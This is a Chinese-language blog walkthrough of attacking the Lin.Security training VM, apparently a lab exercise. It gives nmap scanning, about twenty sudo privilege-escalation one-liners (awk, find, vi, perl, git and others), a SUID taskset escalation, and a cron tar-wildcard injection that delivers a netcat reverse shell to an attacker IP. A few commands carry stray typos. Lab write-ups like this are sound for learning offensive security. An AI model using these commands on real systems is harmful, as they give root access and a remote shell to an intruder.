Lin.Security靶机渗透
Published in:2022-06-01 |

Lin.Security靶机渗透

使用以下凭据登录主机账号密码:bob / secret

下载地址:https://in.security/downloads/lin.security_v1.0.ova

环境配置

开机的一瞬间,按shift,然后按e,就会进入命令行,如下图,修改 rw signie init=/bin/bash,中间的Maybe-ubiquity是原本就有的, 碰到一个博主修改错误的配置方法,搞我心态!!!

按ctrl+x或者F10重启,重启之后查看网卡为ens33

ifconfig -a

1
2
vim /etc/netplan/50-cloud-init.yaml
netplan apply //配置应用生效

重启

信息收集

1.namp扫描

1
nmap -sS -sV -T4 -p- 192.168.134.137

1
ssh bob@192.168.134.137

sudo提权

  1. sudo -l 查看支持root权限的命令

    1
    2
    3
    4
    5
    /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed,
    /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man,
    /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh,
    /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script,
    /usr/bin/scp
  2. socat权限

    • 先建立一个1234的shell

      1
      sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

    • 新建一个远程连接,在启动本地1234的listen

      1
      socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234

  3. awk权限

    1
    sudo awk 'BEGIN {system("/bin/sh")}'

  4. ed提权

    ed命令用于启动ed文本编辑器,使用ed命令访问空缓冲区来调用bash/sh shell造成提权。

    1
    2
    sudo ed
    !sh

    这里有个问题,exit无法退出,需要使用w保存,q退出:

  5. find提权

    1
    sudo find . -exec /bin/sh \; -quit

  6. env环境变量提权

    1
    2
    3
    4
    应用程序使用了system等函数调用了系统命令,但是没有使用绝对路径而是使用env命令从环境变量中进行查找,这就可能通过修改环境变量来进行权限提升

    sudo sh -c 'cp $(which env) .; chmod +s ./env'
    ./env /bin/sh -p

  7. less、more、man提权

    1
    2
    3
    4
    5
    6
    7
    8
    9
    sudo less /etc/passwd
    !/bin/sh

    sudo more /etc/passwd
    !/bin/sh

    Sudo man man

    !/bin/sh

  8. expect提权

    expect是一个自动化交互套件,主要应用于执行命令和程序时,系统以交互形式要求输入指定字符串,实现交互通信。

    1
    sudo expect -c "spawn /bin/sh;interact"

  9. scp提权

    1
    2
    3
    4
    TF=$(mktemp)
    echo 'sh 0<&2 1>&2' > $TF
    chmod +x "$TF"
    sudo scp -S $TF x y:
    1
    2
    3
    sudo pico
    ^R^X
    reset; sh 1>&0 2>&0
  10. ssh提权

    1
    sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
  11. vi提权

    1
    sudo vi -c ':!/bin/sh' /dev/null
  12. pico提权

    1
    2
    3
    sudo pico
    ^R^X
    reset; sh 1>&0 2>&0
    1
    这个操作方法:在键盘上按住ctrl+r和ctrl+x然后执行下面的命令,执行完成之后再次按住ctrl+r和ctrl+x再输入要执行的命令,比如id,那么就会以root权限执行
  13. rvim提权

    1
    sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
  14. perl提权

    1
    sudo perl -e 'exec "/bin/sh";'s
  15. tclsh提权

    1
    2
    sudo tclsh
    exec /bin/sh <@stdin >@stdout 2>@stderrs
  16. git提权

    1
    2
    sudo git -p help config
    !/bin/sh
  17. script提权

    1
    sudo script -q /dev/null

密码信息收集提权

  1. cat /etc/passwd, 类似root:x:0:0:root:/root:/bin/bash,在这种情况下,x表示该用户的密码哈希存储在/etc/shadow中
  2. 尝试爆破

taskset提权:

1
taskset 1 /bin/bash -p

定时任务cron提权:

查看定时任务cat /etc/crontab

1.在kali上生成反弹shell的payload:

1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.134.130 lport=1234 R

payload

1
mkfifo /tmp/wkee; nc 192.168.134.130 1234 0</tmp/wkee | /bin/sh >/tmp/wkee 2>&1; rm /tmp/wkee

2.将payload写入到定时任务的sh文件中:

1
2
3
echo "mkfifo /tmp/wkee; nc 192.168.134.130 1234 0</tmp/wkee | /bin/sh >/tmp/wkee 2>&1; rm /tmp/wkee" > shell.sh && chmod +x shell.sh
echo "" > "–checkpoint-action=exec=sh shell.sh" //注入一个指定检查点动作的标志
echo "" > --checkpoint=1 //注入一个标志来指定我们的检查点

3.打开另一个窗口,重新远程登陆,进行监听,成功反弹shell

Prev:
weblogic漏洞复现
Next:
JNDI-Injection-Exploit学习使用